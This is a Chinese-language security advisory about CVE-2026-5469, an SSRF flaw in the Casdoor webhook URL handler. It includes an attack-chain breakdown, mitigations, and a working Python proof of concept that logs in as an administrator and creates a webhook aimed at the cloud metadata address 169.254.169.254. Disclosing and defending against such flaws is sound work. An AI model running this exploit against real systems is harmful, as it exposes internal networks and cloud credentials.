IPBUF安全漏洞报告
English
CVE-2026-5469 CVSS 4.7 中危

CVE-2026-5469 Casdoor SSRF漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-5469
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Casdoor

相关标签

SSRFCasdoorWebhookServer-Side Request Forgery中危

漏洞概述

Casdoor 2.356.0版本中的Webhook URL Handler组件存在安全漏洞。由于该组件对用户输入处理不当,拥有高权限的攻击者可以通过特定的网络数据包进行操作,从而诱发服务器端请求伪造(SSRF)。该漏洞可被远程利用,导致服务器机密性、完整性和可用性受到低程度影响。目前厂商尚未对此作出回应,建议用户关注后续更新。

技术细节

该漏洞位于Casdoor身份验证平台的Webhook URL处理组件中。Casdoor在处理Webhook配置请求时,允许具有高权限的用户(如管理员)指定回调地址。然而,系统在实现过程中未能对目标URL进行严格的格式校验和内网访问限制。攻击者利用高权限账户登录系统后,可以通过API接口或Web界面修改Webhook配置,将URL指向内网敏感资源(如localhost、Redis端口、AWS元数据服务等)。当Webhook被特定事件触发或系统进行连通性测试时,服务器端会向攻击者指定的内网地址发送HTTP请求,从而导致SSRF。这种攻击方式绕过了防火墙的外部防御,使得攻击者能够探测内网拓扑结构或读取敏感的云服务凭证。尽管CVSS评分因权限要求较高而被定级为中危,但其对于内网安全的潜在威胁不容忽视。

攻击链分析

STEP 1
1. 权限获取
攻击者需要获取Casdoor系统的高权限账户(如管理员账号),这是利用该漏洞的前提条件。
STEP 2
2. 构造恶意URL
攻击者准备指向内网敏感资源(如127.0.0.1或元数据服务)的URL地址,作为SSRF的攻击载荷。
STEP 3
3. 发送恶意请求
攻击者利用管理员权限,通过Web界面或API接口修改或创建Webhook配置,将URL字段替换为恶意URL。
STEP 4
4. 触发SSRF
当Webhook被系统事件触发或管理员手动测试连通性时,服务器端程序向内部网络地址发起请求,导致信息泄露或内网探测。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Configuration target_host = "http://localhost:8000" username = "admin" password = "admin" malicious_url = "http://169.254.169.254/latest/meta-data/" # Example: Internal metadata access def login(): """Authenticate to obtain session token""" login_url = f"{target_host}/api/login" data = { "username": username, "password": password, "application": "app-built-in", "organization": "built-in" } response = requests.post(login_url, json=data) if response.status_code == 200: return response.json().get("data") else: print(f"Login failed: {response.text}") return None def exploit_ssrf(token): """Create a webhook with a malicious URL to trigger SSRF""" webhook_url = f"{target_host}/api/webhook" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Payload for the Webhook payload = { "owner": "built-in", "name": "ssrf-poc", "url": malicious_url, "method": "GET", "contentType": "application/json", "headers": "{}", "events": json.dumps(["signup"]), "isEnabled": True } response = requests.post(webhook_url, headers=headers, json=payload) if response.status_code == 200: print("[+] Webhook created successfully. SSRF payload sent.") print(f"[+] Check {malicious_url} for interaction or logs.") else: print(f"[-] Failed to create webhook. Status: {response.status_code}") print(response.text) if __name__ == "__main__": token = login() if token: exploit_ssrf(token)

影响范围

Casdoor 2.356.0

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用Webhook功能,或配置防火墙规则严格限制服务器向内部网络(如127.0.0.1、169.254.169.254等)发起HTTP请求。同时,加强对管理员账户的安全监控,防止凭证泄露。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表